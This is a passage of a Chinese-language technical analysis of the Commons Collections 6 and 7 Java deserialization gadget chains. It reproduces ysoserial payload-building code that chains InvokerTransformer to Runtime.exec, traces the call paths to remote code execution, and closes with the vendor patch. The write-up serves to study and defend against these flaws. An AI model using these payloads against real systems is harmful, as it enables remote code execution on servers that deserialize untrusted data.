    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
            new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    Transformer transformerChain = new ChainedTransformer(transformers);

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    HashSet map = new HashSet(1);
    map.add("foo");//添加一个键

    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");//获取map属性
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }

    Reflections.setAccessible(f);
    HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对

    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }

    Reflections.setAccessible(f2);
    Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node

    Object node = array[0];
    if(node == null){
        node = array[1];
    }

    Field keyField = null;
    try{
        keyField = node.getClass().getDeclaredField("key");
    }catch(Exception e){
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }

    Reflections.setAccessible(keyField);
    keyField.set(node, entry);//将其中一个Node的key属性改为entry

    return map;

}

可以看到前面部分都是差不多的,主要是后面的代码。后面的代码先创建了一个HashSet实例,添加一个键之后通过反射对其属性做了很多操作,乍一看有点晕。。先把剩下的代码提取出来

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");//添加一个键

Field f = null;
try {
    f = HashSet.class.getDeclaredField("map");//获取map属性
} catch (NoSuchFieldException e) {
    f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对

Field f2 = null;
try {
    f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
    f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = null;
try{
    keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);//将其中一个Node的key属性改为entry

return map;

其实这段代码基本等价于以下几行代码:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);
return map;

就是把entry绑定到HashSet上。这两种方法的区别在哪?第一种是通过反射,将entry赋值给HashSet实例中的一个Node的key属性,第二种则是直接调用HashSet.add()方法,有啥区别?跟进一下HashSet.add()方法

public boolean add(E e) {
    return map.put(e, PRESENT)==null;
}

跟进put()

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

此时的key就是entry变量(TiedMapEntry实例),跟进hash()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里调用了key.hashCode(),也就是TiedMapEntry.hashCode(),继续跟进

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

这里调用了this.getValue(),是不是很熟悉?没错,正是CommonsCollections5中利用的TiedMapEntry的方法。跟进一下getValue()

public Object getValue() {
    return this.map.get(this.key);
}

调用了map属性的get方法。回顾一下我们实例化TiedMapEntry时传入的参数以及其构造方法:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

可以发现这里的map属性就是绑定了执行系统命令Transformer的LazyMap实例,由于实例化LazyMap时没有添加foo键,一次调用其get()方法获取foo时会触发Transformer。触发完之后会把foo键添加到LazyMap实例上。

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);//添加key
        return value;
    } else {
        return super.map.get(key);
    }
}

可是现在我们只是在构造payload阶段,由于上面将foo键添加到了LazyMap实例,因此反序列化时LazyMap已经存在了foo属性,从而导致无法触发EXP。因此,直接使用map.add(entry);是行不通的,还可以在返回序列化对象之前,remove掉LazyMap的foo属性。比如:

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add(entry);
lazyMap.remove("foo");

return map;

需要通过反射,将entry绑定到HashSet的一个key上,这样才不会在序列化阶段就触发Lazymap绑定的Transformer。

可是如何利用反射来直接添加一个HashSet的key呢?通过poc的源码不难发现,其实就是先获取HashSet.map属性,然后再获取这个属性的table属性,然后再获取table属性的key属性,最后直接对key属性进行赋值

map属性是HashMap类型,看看HashMap.table属性

是Node类型,再看看Node.key属性

再看一下一个HashSet实例的值是怎样的

因此,只有通过反射的方法才不会在序列化阶段就间接调用LazyMap.get

看一下反序列化的过程,由于最终返回的是HashSet实例用于序列化,因此直接看HashSet.readObject()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    ...

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

可以在最后发现调用了HashMap.put(),这个方法在上面分析过了,底层会调用LazyMap.get(xxx)。由于我们在构建payload时使用了反射来创建HashSet实例,因此LazyMap实例中没有任何键,因此这里会触发LazyMap绑定的Transformer,从而造成RCE。

这个gadget的调用链如下:

HashSet.readObject() -> HashMap.put() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransfomer.transform() -> RCE

CommonsCollections7

这个的gadget与6类似,只不过是通过Hashtable类进行反序列化,最终到达LazyMap.get()的。先看一下代码

public Hashtable getObject(final String command) throws Exception {

    // Reusing transformer chain and LazyMap gadgets from previous payloads
    final String[] execArgs = new String[]{command};

    final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

    final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
            new Class[]{String.class, Class[].class},
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
            new Class[]{String.class},
            execArgs),
        new ConstantTransformer(1)};

    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();

    // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
    lazyMap1.put("yy", 1);

    Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
    lazyMap2.put("zZ", 1);

    // Use the colliding Maps as keys in Hashtable
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

    // Needed to ensure hash collision after previous manipulations
    lazyMap2.remove("yy");

    return hashtable;
}

直接看后半部分,创建了两个LazyMap实例然后都put到Hashtable实例中,然后调用remove()移除lazyMap2中的名为yy的key,原因与CommonsCollections6中差不多,之后再说。最后返回Hashtable实例,进行序列化。我们先看一下Hashtable.readObject(),先从反序列化的逻辑来看

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the threshold and loadFactor
    s.defaultReadObject();

    ...
    
    int elements = s.readInt();

    // Validate # of elements
    if (elements < 0)
        throw new StreamCorruptedException("Illegal # of Elements: " + elements);

    ...

    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        K key = (K)s.readObject();
        V value = (V)s.readObject();
        reconstitutionPut(table, key, value);
    }
}

可以看得到,最后通过一个for循环来遍历Hashtable实例原本的元素,对每个元素调用reconstitutionPut()方法,跟进一下

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

这里也有一个for循环,不过只有在tab[index]!=null才会进入,而tab在下方进行赋值:

tab[index] = new Entry<>(hash, key, value, e);

Entry类其实就是Hashtable中存储数据的类,每一个元素都是一个Entry对象。可以看一下Hashtable.put()方法,其实就是在table属性中添加了一个Entry对象。【插一句,仔细点可以发现,put()方法与reconstitutionPut()的代码几乎一毛一样,只不过put()是正向的插入元素,而reconstitutionPut()是逆向的,在readObject()复原元素时‘插入’元素】

public synchronized V put(K key, V value) {
    // Make sure the value is not null
    if (value == null) {
        throw new NullPointerException();
    }

    // Makes sure the key is not already in the hashtable.
    Entry<?,?> tab[] = table;
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    @SuppressWarnings("unchecked")
    Entry<K,V> entry = (Entry<K,V>)tab[index];
    for(; entry != null ; entry = entry.next) {
        if ((entry.hash == hash) && entry.key.equals(key)) {
            V old = entry.value;
            entry.value = value;
            return old;
        }
    }

    addEntry(hash, key, value, index);
    return null;
}

private void addEntry(int hash, K key, V value, int index) {
    modCount++;
    Entry<?,?> tab[] = table;
    ...
    Entry<K,V> e = (Entry<K,V>) tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

而Hashtable的table属性类型也正是Entry[]

回到上面的Hashtable.readObject()调用的reconstitutionPut()方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

先获取key.hashCode(),也就是key的hash。对于第二个及以后的元素,会将每个元素与之前的所有元素进行对比,判断条件如下

if ((e.hash == hash) && e.key.equals(key)) {

如果两个key的hash相同,则调用e.key.equals(key)来判断当前元素中是否含有之前的key。这里的e.key就是我们在构建payload时put的值,也就是LazyMap实例。由于LazyMap没有定义equals()方法,因此跟进其父类AbstractMapDecorator.equals()

public boolean equals(Object object) {
    return object == this ? true : this.map.equals(object);
}

然后进入了AbstractMap.equals()。【TODO:上面的this.map是HashMap类且其存在equals,可是为什么要进入AbstractMap类的equals方法?】

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))//调用o.get(key)
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

可以看到有调用m.get(key),这里的m实际上就是在reconstitutionPut()中传入的参数:key,也就是LazyMap实例,因此要反序列化的Hashtable的第二个元素中不存在第一个元素中的key,那么这里就可以触发LazyMap绑定的Transformer,造成RCE。

总结一下,在构造gadget时大概有以下几点限制:
1.Hashtable实例中至少有两个元素
2.Hashtable实例的两个元素的key的hash必须一样
3.第二个元素的key是LazyMap实例,且其中不存在第一个元素中的key

因此我们可以在Hashtable中添加两个Map,第二个元素是LazyMap实例。LazyMap实例中不能有第一个元素中的key,同时两个元素的key的hash必须一样。这点怎么绕过?

可以参照ysoserial中的代码,由于字符串"yy""zZ"的hash是相同的

因此可以让这两个字符串分别作为两个Map实例的key。至此大概可以写出如下的poc

final Transformer transformerChain = new ChainedTransformer(
        ...
    );

Map innerMap = new HashMap();
Map lazymap = LazyMap.decorate(innerMap, transformerChain);

Map itemMap = new HashMap();
itemMap.put("yy", 1);
innerMap.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(itemMap, 1);
hashtable.put(lazymap, 1);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

return hashtable;

可是测试时发现,在反序列化时无法造成rce,反而是在生成序列化流时会造成rce。为啥?原因跟CommonsCollections类似。在构造Hashtable时,使用了Hashtable.put()方法来添加元素,而put()方法内部也会进行与反序列化时的reconstitutionPut()进行类似的操作,也会调用equals()进行判断,从而底层调用了LazyMap.get()。因此,在返回Hashtable类用于序列化之前,我们需要把LazyMap中新加的key给去掉,也就是第一个元素的key。所以我们在return之前需要加上一行:

lazyMap2.remove("yy");

总结下来调用链大概如下

Hashtable.readObject() -> Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get() -> ChainedTrasnformer.transform() -> RCE

0x03 总结

归纳

几个gadget的链大概是由以下几个部分组成

CommonsCollections1: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InvokerTransformer

CommonsCollections3: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

CommonsCollections2: PriorityQueue、TransformingComparator、InvokerTransformer、TemplatesImpl

CommonsCollections4: PriorityQueue、TransformingComparator、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

CommonsCollections5: BadAttributeValueExpException、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransformer

CommonsCoolections6: HashSet、HashMap、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransfomer

CommonsCollections7: Hashtable、LazyMap、ChainedTransformer、InvokerTransformer

执行命令的几种方式:
1.ChainedTransformer+InvokerTransformer,比如1、5、6、7
2.ChainedTransformer+InstantiateTransformer+TrAXFilter+TemplatesImpl,比如3、4
2.ChainedTransformer+InvokerTransformer+TemplatesImpl,比如2

再底层点来看其实就只有两种方式,InvokerTransformer和TemplatesImpl

从反序列化到命令执行的路径:
1.LazyMap,比如1、3、5、6、7
2.PriorityQueue+TransformingComparator,比如2、4

而从反序列化到LazyMap.get()这条路径又分为了好几种:
1.AnnotationInvocationHandler+Proxy,比如1、3
2.BadAttributeValueExpException+TiedMapEntry,比如5
3.HashSet+HashMap+TiedMapEntry,比如6
4.Hashtable,比如7

补丁

根据以上的归纳可以发现,其实利用链最底层用来执行命令的方法不过就是Transformer和TemplatesImpl。因为最终目的是执行任意代码,也就是可以执行任意类的任意方法,其实主要就是Transformer的利用,因为TemplatesImpl的几种利用方式不过是结合了不同的Transformer来实现(InvokerTransformer、InstantiateTransformer)。

链的构造主要是通过Map绑定Transformer来实现,或者是PriorityQueue绑定TransformingComparator来实现。

反序列化入口则是百花齐放,是人是鬼都在秀。

总的来说,这次漏洞主要还是最底层的Transformer的原因,因此官方的补丁就是在几个Transformer的writeObject()/readObject()处增加了一个全局开关,默认是开关开启的,当对这些Transformer进行序列化/反序列化时,会抛出UnsupportedOperationException异常。

//InvokerTransformer
private void writeObject(ObjectOutputStream os) throws IOException {
    FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
    os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
    FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
    is.defaultReadObject();
}

//FunctorUtils
static void checkUnsafeSerialization(Class clazz) {
    String unsafeSerializableProperty;

    try {
        unsafeSerializableProperty =
            (String) AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
                }
            });
    } catch (SecurityException ex) {
        unsafeSerializableProperty = null;
    }

    if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
        throw new UnsupportedOperationException(
                "Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
                "To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " +
                "but you must ensure that your application does not de-serialize objects from untrusted sources.");
    }}

参考:影响与修复

0x04 参考

Java反序列化漏洞-玄铁重剑之CommonsCollection

ysoserial payload分析 -kingkk

玩转Ysoserial-CommonsCollection的七种利用方式分析 -平安银行应用安全团队

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